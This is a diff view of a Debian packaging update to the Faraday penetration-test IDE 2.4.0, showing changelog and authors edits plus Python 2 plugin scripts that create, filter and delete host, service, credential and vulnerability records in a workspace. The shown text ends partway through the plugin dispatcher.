Updated version 2.4.0 from 'upstream/2.4.0'
with Debian dir 54289c30c425ac2298f8ea1b42af9ae75354aed4
Sophie Brun
7 years ago
0 | 0 | *.py[cod] |
1 | ||
2 | .pc/ | |
3 | 1 | |
4 | 2 | # C extensions |
5 | 3 | *.so |
11 | 9 | build |
12 | 10 | eggs |
13 | 11 | parts |
14 | bin | |
15 | 12 | var |
16 | 13 | sdist |
17 | 14 | develop-eggs |
55 | 52 | #Ignore visual studio code configs |
56 | 53 | typings/ |
57 | 54 | jsconfig.json |
58 | .vscode/⏎ | |
55 | .vscode/ | |
56 | ||
57 | # PyCharm project files | |
58 | .idea | |
59 | ||
60 | # vFeed DB | |
61 | data/vfeed.db⏎ |
27 | 27 | * Federico Fernandez |
28 | 28 | * xtr4nge |
29 | 29 | * Roberto Focke |
30 | * James Jara | |
31 | * tsxltjecwb | |
32 | * Sliim |
6 | 6 | |
7 | 7 | New features in the latest update |
8 | 8 | ===================================== |
9 | ||
10 | March 17, 2017: | |
11 | --- | |
12 | * Added link to name column in Hosts list | |
13 | * Created a requirements_extras.txt file to handle optional packages for specific features | |
14 | * Fixed bug in SQLMap plugin that made the client freeze | |
15 | * Fixed bug when creating/updating Credentials | |
16 | * Fixed bug in the WEB UI - menu explanation bubbles were hidden behind inputs | |
17 | * Fixed conflict resolution when the object was deleted from another client before resolving the conflict | |
18 | * Improved fplugin | |
19 | * Improved the installation process | |
20 | * Improved SQLMap plugin to support --tables and --columns options | |
21 | * Improved navigation in Web UI | |
22 | * Merged PR #137 - CScan improvements: bug fixing, change plugin format and removed unnecessary file output | |
23 | * Merged PR #173 - Hostnames: added hostnames to plugins | |
24 | * Merged PR #105 - OSint: added the possibility of using a DB other than Shodan | |
25 | * The Status Report now remembers the sorting column and order | |
9 | 26 | |
10 | 27 | February 8, 2017: |
11 | 28 | --- |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | """ | |
3 | Faraday Penetration Test IDE | |
4 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
5 | See the file 'doc/LICENSE' for the license information | |
6 | """ | |
7 | ||
8 | from model.common import factory | |
9 | from persistence.server import models | |
10 | ||
11 | __description__ = 'Creates new credentials' | |
12 | __prettyname__ = 'Create Credentials' | |
13 | ||
14 | ||
15 | def main(workspace='', args=None, parser=None): | |
16 | parser.add_argument('parent', help='Parent ID') | |
17 | parser.add_argument('name', help='Credential Name') | |
18 | parser.add_argument('username', help='Username') | |
19 | parser.add_argument('password', help='Password') | |
20 | ||
21 | parser.add_argument('--dry-run', action='store_true', help='Do not touch the database. Only print the object ID') | |
22 | ||
23 | parsed_args = parser.parse_args(args) | |
24 | ||
25 | obj = factory.createModelObject(models.Credential.class_signature, parsed_args.name, workspace, | |
26 | username=parsed_args.username, | |
27 | password=parsed_args.password, | |
28 | parent_id=parsed_args.parent | |
29 | ) | |
30 | ||
31 | old = models.get_credential(workspace, obj.getID()) | |
32 | ||
33 | if old is None: | |
34 | if not parsed_args.dry_run: | |
35 | models.create_credential(workspace, obj) | |
36 | else: | |
37 | print "A credential with ID %s already exists!" % obj.getID() | |
38 | return 2, None | |
39 | ||
40 | return 0, obj.getID() |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | """ | |
3 | Faraday Penetration Test IDE | |
4 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
5 | See the file 'doc/LICENSE' for the license information | |
6 | """ | |
7 | ||
8 | from model.common import factory | |
9 | from persistence.server import models | |
10 | ||
11 | __description__ = 'Creates a new host in current workspace' | |
12 | __prettyname__ = 'Create Host' | |
13 | ||
14 | ||
15 | def main(workspace='', args=None, parser=None): | |
16 | parser.add_argument('name', help='Host name') | |
17 | parser.add_argument('os', help='OS') | |
18 | ||
19 | parser.add_argument('--dry-run', action='store_true', help='Do not touch the database. Only print the object ID') | |
20 | ||
21 | parsed_args = parser.parse_args(args) | |
22 | ||
23 | obj = factory.createModelObject(models.Host.class_signature, parsed_args.name, | |
24 | workspace, os=parsed_args.os, parent_id=None) | |
25 | ||
26 | old = models.get_host(workspace, obj.getID()) | |
27 | ||
28 | if old is None: | |
29 | if not parsed_args.dry_run: | |
30 | models.create_host(workspace, obj) | |
31 | else: | |
32 | print "A host with ID %s already exists!" % obj.getID() | |
33 | return 2, None | |
34 | ||
35 | return 0, obj.getID() |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | """ | |
3 | Faraday Penetration Test IDE | |
4 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
5 | See the file 'doc/LICENSE' for the license information | |
6 | """ | |
7 | ||
8 | from model.common import factory | |
9 | from persistence.server import models | |
10 | ||
11 | __description__ = 'Creates a new interface in a specified host' | |
12 | __prettyname__ = 'Create Interface' | |
13 | ||
14 | ||
15 | def main(workspace='', args=None, parser=None): | |
16 | parser.add_argument('host_id', help='Host ID') | |
17 | parser.add_argument('name', help='Interface Name') | |
18 | parser.add_argument('mac', help='Interface MAC Address') | |
19 | ||
20 | parser.add_argument('--ipv4address', help='IPV4 Address', default='0.0.0.0') | |
21 | parser.add_argument('--ipv4gateway', help='IPV4 Gateway', default='0.0.0.0') | |
22 | parser.add_argument('--ipv4mask', help='IPV4 Mask', default='0.0.0.0') | |
23 | parser.add_argument('--ipv4dns', help='IPV4 DNS, as a comma separated list', default='') | |
24 | ||
25 | parser.add_argument('--ipv6address', help='IPV6 Address', default='0000:0000:0000:0000:0000:0000:0000:0000') | |
26 | parser.add_argument('--ipv6prefix', help='IPV6 Prefix', default='00') | |
27 | parser.add_argument('--ipv6gateway', help='IPV4 Gateway', default='0000:0000:0000:0000:0000:0000:0000:0000') | |
28 | parser.add_argument('--ipv6dns', help='IPV6 DNS, as a comma separated list', default='') | |
29 | ||
30 | parser.add_argument('--netsegment', help='Network Segment', default='') | |
31 | parser.add_argument('--hostres', help='Hostname Resolution', default='') | |
32 | ||
33 | parser.add_argument('--dry-run', action='store_true', help='Do not touch the database. Only print the object ID') | |
34 | ||
35 | parsed_args = parser.parse_args(args) | |
36 | ||
37 | ipv4_dns = filter(None, parsed_args.ipv4dns.split(',')) | |
38 | ipv6_dns = filter(None, parsed_args.ipv6dns.split(',')) | |
39 | ||
40 | obj = factory.createModelObject(models.Interface.class_signature, parsed_args.name, workspace, | |
41 | mac=parsed_args.mac, | |
42 | ipv4_address=parsed_args.ipv4address, | |
43 | ipv4_mask=parsed_args.ipv4mask, | |
44 | ipv4_gateway=parsed_args.ipv4gateway, | |
45 | ipv4_dns=ipv4_dns, | |
46 | ipv6_address=parsed_args.ipv6address, | |
47 | ipv6_prefix=parsed_args.ipv6prefix, | |
48 | ipv6_gateway=parsed_args.ipv6gateway, | |
49 | ipv6_dns=ipv6_dns, | |
50 | network_segment=parsed_args.netsegment, | |
51 | hostname_resolution=parsed_args.hostres, | |
52 | parent_id=parsed_args.host_id) | |
53 | ||
54 | old = models.get_interface(workspace, obj.getID()) | |
55 | ||
56 | if old is None: | |
57 | if not parsed_args.dry_run: | |
58 | models.create_interface(workspace, obj) | |
59 | else: | |
60 | print "An interface with ID %s already exists!" % obj.getID() | |
61 | return 2, None | |
62 | ||
63 | return 0, obj.getID() |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | """ | |
3 | Faraday Penetration Test IDE | |
4 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
5 | See the file 'doc/LICENSE' for the license information | |
6 | """ | |
7 | ||
8 | from model.common import factory | |
9 | from persistence.server import models | |
10 | ||
11 | __description__ = 'Creates a new note' | |
12 | __prettyname__ = 'Create Note' | |
13 | ||
14 | ||
15 | def main(workspace='', args=None, parser=None): | |
16 | parser.add_argument('parent', help='Parent ID') | |
17 | parser.add_argument('name', help='Note name') | |
18 | parser.add_argument('text', help='Note content') | |
19 | ||
20 | parser.add_argument('--dry-run', action='store_true', help='Do not touch the database. Only print the object ID') | |
21 | ||
22 | parsed_args = parser.parse_args(args) | |
23 | ||
24 | obj = factory.createModelObject(models.Note.class_signature, parsed_args.name, workspace, | |
25 | text=parsed_args.text, | |
26 | parent_id=parsed_args.parent | |
27 | ) | |
28 | ||
29 | old = models.get_note(workspace, obj.getID()) | |
30 | ||
31 | if old is None: | |
32 | if not parsed_args.dry_run: | |
33 | models.create_note(workspace, obj) | |
34 | else: | |
35 | print "A note with ID %s already exists!" % obj.getID() | |
36 | return 2, None | |
37 | ||
38 | return 0, obj.getID() |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | """ | |
3 | Faraday Penetration Test IDE | |
4 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
5 | See the file 'doc/LICENSE' for the license information | |
6 | """ | |
7 | ||
8 | from model.common import factory | |
9 | from persistence.server import models | |
10 | ||
11 | __description__ = 'Creates a new service in a specified interface' | |
12 | __prettyname__ = 'Create Service' | |
13 | ||
14 | ||
15 | def main(workspace='', args=None, parser=None): | |
16 | parser.add_argument('interface_id', help='Interface ID') | |
17 | parser.add_argument('name', help='Service Name') | |
18 | parser.add_argument('ports', help='Service ports, as a comma separated list') | |
19 | parser.add_argument('--protocol', help='Service protocol', default='tcp') | |
20 | parser.add_argument('--status', help='Service status', default='running') | |
21 | parser.add_argument('--version', help='Service version', default='unknown') | |
22 | parser.add_argument('--description', help='Service description', default='') | |
23 | ||
24 | parser.add_argument('--dry-run', action='store_true', help='Do not touch the database. Only print the object ID') | |
25 | ||
26 | parsed_args = parser.parse_args(args) | |
27 | ||
28 | ports = filter(None, parsed_args.ports.split(',')) | |
29 | ||
30 | obj = factory.createModelObject(models.Service.class_signature, parsed_args.name, workspace, | |
31 | protocol=parsed_args.protocol, | |
32 | ports=ports, | |
33 | status=parsed_args.status, | |
34 | version=parsed_args.version, | |
35 | description=parsed_args.description, | |
36 | parent_id=parsed_args.interface_id | |
37 | ) | |
38 | ||
39 | old = models.get_service(workspace, obj.getID()) | |
40 | ||
41 | if old is None: | |
42 | if not parsed_args.dry_run: | |
43 | models.create_service(workspace, obj) | |
44 | else: | |
45 | print "A service with ID %s already exists!" % obj.getID() | |
46 | return 2, None | |
47 | ||
48 | return 0, obj.getID() |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | """ | |
3 | Faraday Penetration Test IDE | |
4 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
5 | See the file 'doc/LICENSE' for the license information | |
6 | """ | |
7 | ||
8 | from model.common import factory | |
9 | from persistence.server import models | |
10 | ||
11 | __description__ = 'Creates a new vulnerability' | |
12 | __prettyname__ = 'Create Vulnerability' | |
13 | ||
14 | ||
15 | def main(workspace='', args=None, parser=None): | |
16 | parser.add_argument('parent', help='Parent ID') | |
17 | parser.add_argument('name', help='Vulnerability Name') | |
18 | parser.add_argument('--reference', help='Vulnerability reference', default='') # Fixme | |
19 | ||
20 | parser.add_argument('--severity', | |
21 | help='Vulnerability severity', | |
22 | choices=['critical', 'high', 'med', 'low', 'info', 'unclassified'], | |
23 | default='unclassified') | |
24 | ||
25 | parser.add_argument('--resolution', help='Resolution', default='') | |
26 | parser.add_argument('--confirmed', help='Is the vulnerability confirmed', | |
27 | choices=['true', 'false'], | |
28 | default='false') | |
29 | parser.add_argument('--description', help='Vulnerability description', default='') | |
30 | ||
31 | parser.add_argument('--dry-run', action='store_true', help='Do not touch the database. Only print the object ID') | |
32 | ||
33 | parsed_args = parser.parse_args(args) | |
34 | ||
35 | obj = factory.createModelObject(models.Vuln.class_signature, parsed_args.name, workspace, | |
36 | ref=parsed_args.reference, | |
37 | severity=parsed_args.severity, | |
38 | resolution=parsed_args.resolution, | |
39 | confirmed=(parsed_args.confirmed == 'true'), | |
40 | desc=parsed_args.description, | |
41 | parent_id=parsed_args.parent | |
42 | ) | |
43 | ||
44 | old = models.get_vuln(workspace, obj.getID()) | |
45 | ||
46 | if old is None: | |
47 | if not parsed_args.dry_run: | |
48 | models.create_vuln(workspace, obj) | |
49 | else: | |
50 | print "A vulnerability with ID %s already exists!" % obj.getID() | |
51 | return 2, None | |
52 | ||
53 | return 0, obj.getID() |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | """ | |
3 | Faraday Penetration Test IDE | |
4 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
5 | See the file 'doc/LICENSE' for the license information | |
6 | """ | |
7 | ||
8 | from model.common import factory | |
9 | from persistence.server import models | |
10 | ||
11 | __description__ = 'Creates a new website vulnerability in a specified service' | |
12 | __prettyname__ = 'Create Website Vulnerability' | |
13 | ||
14 | ||
15 | def main(workspace='', args=None, parser=None): | |
16 | parser.add_argument('service', help='Parent service ID') | |
17 | parser.add_argument('name', help='Vulnerability name') | |
18 | parser.add_argument('--reference', help='Vulnerability reference', default='') # Fixme | |
19 | ||
20 | parser.add_argument('--severity', | |
21 | help='Vulnerability severity', | |
22 | choices=['critical', 'high', 'med', 'low', 'info', 'unclassified'], | |
23 | default='unclassified') | |
24 | ||
25 | parser.add_argument('--resolution', help='Resolution', default='') | |
26 | parser.add_argument('--description', help='Vulnerability description', default='') | |
27 | ||
28 | parser.add_argument('--website', help='Website', default='') | |
29 | parser.add_argument('--path', help='Path', default='') | |
30 | parser.add_argument('--request', help='Request', default='') | |
31 | parser.add_argument('--response', help='Response', default='') | |
32 | parser.add_argument('--method', help='Method', default='') | |
33 | parser.add_argument('--pname', help='pname', default='') # FIXME | |
34 | parser.add_argument('--params', help='Parameters', default='') | |
35 | parser.add_argument('--query', help='Query', default='') | |
36 | parser.add_argument('--category', help='Category', default='') | |
37 | ||
38 | parser.add_argument('--confirmed', help='Is the vulnerability confirmed', | |
39 | choices=['true', 'false'], | |
40 | default='false') | |
41 | ||
42 | parser.add_argument('--dry-run', action='store_true', help='Do not touch the database. Only print the object ID') | |
43 | ||
44 | parsed_args = parser.parse_args(args) | |
45 | ||
46 | obj = factory.createModelObject(models.VulnWeb.class_signature, parsed_args.name, workspace, | |
47 | desc=parsed_args.description, | |
48 | ref=parsed_args.reference, | |
49 | severity=parsed_args.severity, | |
50 | resolution=parsed_args.resolution, | |
51 | ||
52 | website=parsed_args.website, | |
53 | path=parsed_args.path, | |
54 | request=parsed_args.request, | |
55 | response=parsed_args.response, | |
56 | method=parsed_args.method, | |
57 | pname=parsed_args.pname, | |
58 | params=parsed_args.params, | |
59 | query=parsed_args.query, | |
60 | category=parsed_args.category, | |
61 | ||
62 | confirmed=(parsed_args.confirmed == 'true'), | |
63 | parent_id=parsed_args.service | |
64 | ) | |
65 | ||
66 | old = models.get_web_vuln(workspace, obj.getID()) | |
67 | ||
68 | if old is None: | |
69 | if not parsed_args.dry_run: | |
70 | models.create_vuln_web(workspace, obj) | |
71 | else: | |
72 | print "A web vulnerability with ID %s already exists!" % obj.getID() | |
73 | return 2, None | |
74 | ||
75 | return 0, obj.getID() |
6 | 6 | See the file 'doc/LICENSE' for the license information |
7 | 7 | ''' |
8 | 8 | |
9 | from persistence.server import server, models | |
9 | from persistence.server import models | |
10 | 10 | |
11 | def main(workspace=''): | |
12 | ||
11 | __description__ = 'Deletes all stored hosts' | |
12 | __prettyname__ = 'Delete All Hosts' | |
13 | ||
14 | ||
15 | def main(workspace='', args=None, parser=None): | |
16 | parser.add_argument('-y', '--yes', action="store_true") | |
17 | parsed_args = parser.parse_args(args) | |
18 | if not parsed_args.yes: | |
19 | msg = ("Are you sure you want to delete all hosts in the " | |
20 | "workspace {}? This action can't be undone [y/n] ".format( | |
21 | workspace)) | |
22 | if raw_input(msg) not in ('y', 'yes'): | |
23 | return 1, None | |
13 | 24 | for host in models.get_hosts(workspace): |
14 | 25 | print('Delete Host:' + host.name) |
15 | models.delete_host(workspace, host.id)⏎ | |
26 | models.delete_host(workspace, host.id) | |
27 | return 0, None |
6 | 6 | See the file 'doc/LICENSE' for the license information |
7 | 7 | ''' |
8 | 8 | |
9 | from persistence.server import server, models | |
9 | from persistence.server import models | |
10 | from utils.user_input import query_yes_no | |
10 | 11 | |
11 | def main(workspace=''): | |
12 | __description__ = 'Deletes all services with a non open port' | |
13 | __prettyname__ = 'Delete All Service Closed' | |
14 | ||
15 | ||
16 | def main(workspace='', args=None, parser=None): | |
17 | parser.add_argument('-y', '--yes', action="store_true") | |
18 | parsed_args = parser.parse_args(args) | |
19 | if not parsed_args.yes: | |
20 | ||
21 | if not query_yes_no("Are you sure you want to delete all closed services in the " | |
22 | "workspace %s" % workspace, default='no'): | |
23 | return 1, None | |
12 | 24 | |
13 | 25 | for service in models.get_services(workspace): |
14 | 26 | if service.status != 'open' and service.status != 'opened': |
15 | 27 | print('Deleted service: ' + service.name) |
16 | models.delete_service(workspace, service.id)⏎ | |
28 | models.delete_service(workspace, service.id) | |
29 | return 0, None |
7 | 7 | ''' |
8 | 8 | |
9 | 9 | import re |
10 | from persistence.server import server, models | |
10 | from persistence.server import models | |
11 | 11 | |
12 | def main(workspace=''): | |
12 | __description__ = "Delete all vulnerabilities matched with regex" | |
13 | __prettyname__ = "Delete all vulnerabilities with (...)" | |
13 | 14 | |
14 | regex = ( | |
15 | ||
16 | def main(workspace='', args=None, parser=None): | |
17 | default_regex = ( | |
15 | 18 | r"ssl\-cert|ssl\-date|Traceroute Information|TCP\/IP Timestamps Supported" |
16 | 19 | r"|OS Identification|Common Platform Enumeration") |
20 | parser.add_argument('-y', '--yes', action="store_true") | |
21 | parser.add_argument('-r', '--regex', default=default_regex) | |
22 | parsed_args = parser.parse_args(args) | |
23 | if not parsed_args.yes: | |
24 | msg = ("Are you sure you want to delete all vulnerabilities " | |
25 | "matching the regex {} in the worspace {}? " | |
26 | "This action can't be undone [y/n] ".format( | |
27 | parsed_args.regex, workspace)) | |
28 | if raw_input(msg) not in ('y', 'yes'): | |
29 | return 1, None | |
17 | 30 | |
18 | 31 | for vuln in models.get_all_vulns(workspace): |
19 | if re.findall(regex, vuln.name, ) != []: | |
32 | if re.findall(parsed_args.regex, vuln.name, ) != []: | |
20 | 33 | print("Delete Vuln: " + vuln.name) |
21 | models.delete_vuln(workspace, vuln.id)⏎ | |
34 | models.delete_vuln(workspace, vuln.id) | |
35 | return 0, None |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | ||
3 | ''' | |
4 | Faraday Penetration Test IDE | |
5 | Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/) | |
6 | See the file 'doc/LICENSE' for the license information | |
7 | ''' | |
8 | ||
9 | from colorama import Fore | |
10 | import sys | |
11 | ||
12 | from persistence.server import models | |
13 | ||
14 | __description__ = 'Filter services by port or service name' | |
15 | __prettyname__ = 'Filter services' | |
16 | ||
17 | SERVICES = { | |
18 | 'http': [80, 443, 8080, 8443], | |
19 | 'ftp': [21], | |
20 | 'ssh': [22], | |
21 | 'telnet': [23], | |
22 | 'smtp': [25], | |
23 | 'domain': [53], | |
24 | 'pop3': [110, 995], | |
25 | 'imap': [143, 993], | |
26 | 'vnc': [5900], | |
27 | } | |
28 | ||
29 | # FIXME Update when persistence API changes | |
30 | COLUMNS = { | |
31 | 'host': lambda service, workspace: models.get_host(workspace, service.id.split('.')[0]).name, | |
32 | 'host_os': lambda service, workspace: models.get_host(workspace, service.id.split('.')[0]).os, | |
33 | 'service': lambda service, workspace: service.name, | |
34 | 'ports': lambda service, workspace: str(service.ports[0]), | |
35 | 'protocol': lambda service, workspace: service.protocol, | |
36 | 'status': lambda service, workspace: service.status, | |
37 | } | |
38 | ||
39 | ||
40 | def main(workspace='', args=None, parser=None): | |
41 | parser.add_argument('-p', type=int, nargs='+', metavar='port', help='List of ports to filter', default=[]) | |
42 | parser.add_argument('services', nargs='*', help='List of service names', default=[]), | |
43 | parser.add_argument('--columns', help='Comma separated list of columns to show.', | |
44 | default="host,service,ports,protocol,status,host_os", choices=COLUMNS.keys()) | |
45 | ||
46 | parser.add_argument('--status', help='Comma separated list of status to filter for.') | |
47 | ||
48 | parser.add_argument('-a', help='Show additional information, like ports filtered and column headers.', | |
49 | action='store_true', dest='additional_info') | |
50 | ||
51 | parser.add_argument('-f', help='Do not apply any filter. Print every host.', | |
52 | action='store_true', dest='no_filter') | |
53 | ||
54 | parser.add_argument('-s', '--sorted', help='Print the list sorted IP..', action='store_true') | |
55 | ||
56 | parsed_args = parser.parse_args(args) | |
57 | ||
58 | port_list = parsed_args.p | |
59 | ||
60 | for service in parsed_args.services: | |
61 | if service in SERVICES: | |
62 | port_list += SERVICES[service] | |
63 | else: | |
64 | sys.stderr.write(Fore.YELLOW + | |
65 | "WARNING: Service definition not found. [%s]\n" % service + | |
66 | Fore.RESET) | |
67 | ||
68 | if not port_list and not parsed_args.no_filter: | |
69 | print "Empty filter set." | |
70 | return 1, None | |
71 | ||
72 | if parsed_args.additional_info and not parsed_args.no_filter: | |
73 | print 'Filtering services for ports: ' + ', '.join(map(str, sorted(port_list))) | |
74 | ||
75 | columns = filter(None, parsed_args.columns.split(',')) | |
76 | ||
77 | status_filter = None | |
78 | ||
79 | if parsed_args.status is not None: | |
80 | status_filter = filter(None, parsed_args.status.split(',')) | |
81 | ||
82 | lines = [] | |
83 | ||
84 | for service in models.get_services(workspace): | |
85 | for port in service.ports: | |
86 | if port in port_list or parsed_args.no_filter: | |
87 | ||
88 | if not parsed_args.no_filter and status_filter is not None and not service.status in status_filter: | |
89 | continue | |
90 | ||
91 | column_data = [] | |
92 | ||
93 | for column in columns: | |
94 | column_data += [COLUMNS[column](service, workspace)] | |
95 | ||
96 | lines += [column_data] | |
97 | ||
98 | if not lines: | |
99 | print "No services running on that port found." | |
100 | return 0, None | |
101 | ||
102 | col_width = max(len(word) for row in lines for word in row) + 2 | |
103 | ||
104 | if parsed_args.additional_info: | |
105 | print ''.join(col.ljust(col_width) for col in columns) | |
106 | print '-' * (col_width * len(columns)) | |
107 | ||
108 | if parsed_args.sorted: | |
109 | # Compare lines using the first column (IP) | |
110 | for row in sorted(lines, cmp=lambda l1, l2: cmp(l1[0], l2[0])): | |
111 | print "".join(word.ljust(col_width) for word in row) | |
112 | else: | |
113 | for row in lines: | |
114 | print "".join(word.ljust(col_width) for word in row) | |
115 | ||
116 | return 0, None |
0 | 0 | #!/usr/bin/env python2.7 |
1 | 1 | # -*- coding: utf-8 -*- |
2 | 2 | |
3 | ''' | |
3 | """ | |
4 | 4 | Faraday Penetration Test IDE |
5 | 5 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) |
6 | 6 | See the file 'doc/LICENSE' for the license information |
7 | ''' | |
8 | ||
7 | """ | |
8 | ||
9 | import argparse | |
10 | import imp | |
11 | import inspect | |
9 | 12 | import os |
10 | import imp | |
13 | import shlex | |
11 | 14 | import sys |
12 | import argparse | |
15 | import signal | |
16 | import readline | |
17 | import atexit | |
13 | 18 | |
14 | 19 | parent_path = os.path.abspath(os.path.join(__file__, '../..')) |
15 | 20 | sys.path.insert(0, parent_path) |
21 | from plugins import fplugin_utils | |
22 | ||
23 | from colorama import Fore | |
24 | from config.configuration import getInstanceConfiguration | |
25 | from managers.mapper_manager import MapperManager | |
26 | from model.controller import ModelController | |
27 | ||
28 | CONF = getInstanceConfiguration() | |
29 | ||
30 | ||
31 | class RawDescriptionAndDefaultsHelpFormatter(argparse.RawDescriptionHelpFormatter, | |
32 | argparse.ArgumentDefaultsHelpFormatter): | |
33 | pass | |
34 | ||
35 | ||
36 | # Call signature corresponding to a function defined as: | |
37 | # def main(workspace='', args=[], parser = None): | |
38 | CURRENT_MAIN_ARGSPEC = inspect.ArgSpec(args=['workspace', 'args', 'parser'], varargs=None, keywords=None, | |
39 | defaults=('', None, None)) | |
40 | ||
41 | FPLUGIN_INTERACTIVE_LAST_TOKEN = '$last' | |
42 | ||
43 | ||
44 | def signal_handler(signal, frame): | |
45 | print('Bye Bye!') | |
46 | os._exit(0) | |
47 | ||
48 | ||
49 | def dispatch(args, unknown, help): | |
50 | if '--' in unknown: | |
51 | unknown.remove('--') | |
52 | ||
53 | # We need the ModelController to register all available models | |
54 | mappers_manager = MapperManager() | |
55 | model_controller = ModelController(mappers_manager) | |
56 | ||
57 | if not args.command: | |
58 | print help | |
59 | if not args.interactive: | |
60 | sys.exit(1) | |
61 | ||
62 | if args.command not in plugins.keys(): | |
63 | sys.stderr.write(Fore.RED + | |
64 | ("ERROR: Plugin %s not found.\n" % args.command) + | |
65 | Fore.RESET) | |
66 | if args.interactive: | |
67 | return None | |
68 | else: | |
69 | sys.exit(1) | |
70 | ||
71 | faraday_directory = os.path.dirname(os.path.realpath(os.path.join(__file__, "../"))) | |
72 | ||
73 | plugin_path = os.path.join(faraday_directory, "bin/", args.command + '.py') | |
74 | ||
75 | # Get filename and import this | |
76 | module_fplugin = imp.load_source('module_fplugin', plugin_path) | |
77 | module_fplugin.models.server.FARADAY_UP = False | |
78 | module_fplugin.models.server.SERVER_URL = args.url | |
79 | ||
80 | call_main = getattr(module_fplugin, 'main', None) | |
81 | ||
82 | if call_main is None: | |
83 | sys.stderr.write(Fore.RED + "ERROR: Main function not found.\n" + Fore.RESET) | |
84 | if args.interactive: | |
85 | return None | |
86 | else: | |
87 | sys.exit(1) | |
88 | ||
89 | # Inspect the main function imported from the plugin and decide the best calling option | |
90 | main_argspec = inspect.getargspec(call_main) | |
91 | ||
92 | if main_argspec != CURRENT_MAIN_ARGSPEC: | |
93 | # Function argspec does not match current API. | |
94 | # Warn the user and call with original parameteres. | |
95 | sys.stderr.write(Fore.YELLOW + | |
96 | "WARNING: Plugin does not follow current call signature. Please update it! [%s.py]\n" % args.command + | |
97 | Fore.RESET) | |
98 | ||
99 | obj_id = None | |
100 | ||
101 | if {'args', 'parser'} <= set(main_argspec.args): | |
102 | # Function accepts args and parser arguments | |
103 | ||
104 | new_parser = argparse.ArgumentParser(description=plugins[args.command]['description'], | |
105 | prog="fplugin %s" % args.command, | |
106 | formatter_class=RawDescriptionAndDefaultsHelpFormatter) | |
107 | ||
108 | ret, obj_id = call_main(workspace=args.workspace, args=unknown, parser=new_parser) | |
109 | ||
110 | if obj_id is not None: | |
111 | print obj_id | |
112 | else: | |
113 | # Use old API to call plugin | |
114 | sys.stderr.write(Fore.YELLOW + | |
115 | "WARNING: Call with arguments and parser not supported.\n" + | |
116 | Fore.RESET) | |
117 | ret = call_main(workspace=args.workspace) | |
118 | ||
119 | if ret is None: | |
120 | ret = 0 | |
121 | ||
122 | if args.interactive: | |
123 | # print 'code = %d' % ret | |
124 | return obj_id | |
125 | else: | |
126 | sys.exit(ret) | |
127 | ||
16 | 128 | |
17 | 129 | if __name__ == '__main__': |
18 | ||
19 | description = ( | |
20 | 'Using our plugin you can do different actions in the command line' | |
21 | ' and interact with Faraday. Faraday comes with some presets for bulk' | |
22 | ' actions such as object removal, get object information, etc.') | |
23 | ||
24 | parser = argparse.ArgumentParser(description=description) | |
25 | ||
26 | parser.add_argument( | |
27 | '-f', | |
28 | '--file', | |
29 | help='Script file.' | |
30 | ' Example:\n./fplugin -f getAllIps.py') | |
130 | ||
131 | signal.signal(signal.SIGINT, signal_handler) | |
132 | ||
133 | description = ('Using our plugin you can do different actions in the command line\n' | |
134 | 'and interact with Faraday. Faraday comes with some presets for bulk\n' | |
135 | 'actions such as object removal, get object information, etc.\n' | |
136 | 'Any parameter not recognized by fplugin, or everything after -- will be passed on \n' | |
137 | 'to the called script.\n') | |
138 | ||
139 | epilog = 'Available scripts:\n' | |
140 | ||
141 | plugins = fplugin_utils.get_available_plugins() | |
142 | ||
143 | for plugin in sorted(plugins.iterkeys()): | |
144 | epilog += '\t- %s: %s\n' % (plugin, plugins[plugin]['description']) | |
145 | ||
146 | parser = argparse.ArgumentParser(description=description, | |
147 | epilog=epilog, | |
148 | formatter_class=RawDescriptionAndDefaultsHelpFormatter) | |
149 | ||
150 | group = parser.add_mutually_exclusive_group() | |
151 | ||
152 | group.add_argument('command', nargs='?', help='Command to execute. Example: ./fplugin getAllIps') | |
153 | group.add_argument('-i', '--interactive', action='store_true', help='Run in interactive mode') | |
31 | 154 | |
32 | 155 | parser.add_argument( |
33 | 156 | '-w', |
34 | 157 | '--workspace', |
35 | help='Use workspace') | |
158 | help='Workspace to use', | |
159 | default=CONF.getLastWorkspace()) | |
36 | 160 | |
37 | 161 | parser.add_argument( |
38 | 162 | '-u', |
39 | 163 | '--url', |
40 | help='Faraday Server URL. Example: http://localhost:5984') | |
41 | ||
164 | help='Faraday Server URL. Example: http://localhost:5985', | |
165 | default='http://localhost:5985') | |
166 | ||
167 | # Only parse known args. Unknown ones will be passed on the the called script | |
42 | 168 | args, unknown = parser.parse_known_args() |
43 | 169 | |
44 | if args.file: | |
45 | ||
46 | # Get filename and import this | |
47 | module_fplugin = imp.load_source('module_fplugin', args.file) | |
48 | module_fplugin.models.server.FARADAY_UP = False | |
49 | module_fplugin.models.server.SERVER_URL = args.url | |
170 | if not args.interactive: | |
171 | dispatch(args, unknown, parser.format_help()) | |
172 | else: | |
173 | ||
174 | # print "Loading command history..." | |
175 | histfile = os.path.join(CONF.getDataPath(), ".faraday_hist") | |
176 | readline.parse_and_bind('tab: complete') | |
177 | atexit.register(readline.write_history_file, histfile) | |
50 | 178 | |
51 | 179 | try: |
52 | call_main = getattr(module_fplugin, 'main') | |
53 | call_main(workspace = args.workspace) | |
54 | except AttributeError: | |
55 | print 'Error: main() function missing in script?'⏎ | |
180 | readline.read_history_file(histfile) | |
181 | # default history len is -1 (infinite), which may grow unruly | |
182 | readline.set_history_length(1000) | |
183 | except IOError: | |
184 | pass | |
185 | ||
186 | print "Welcome to interactive Faraday!" | |
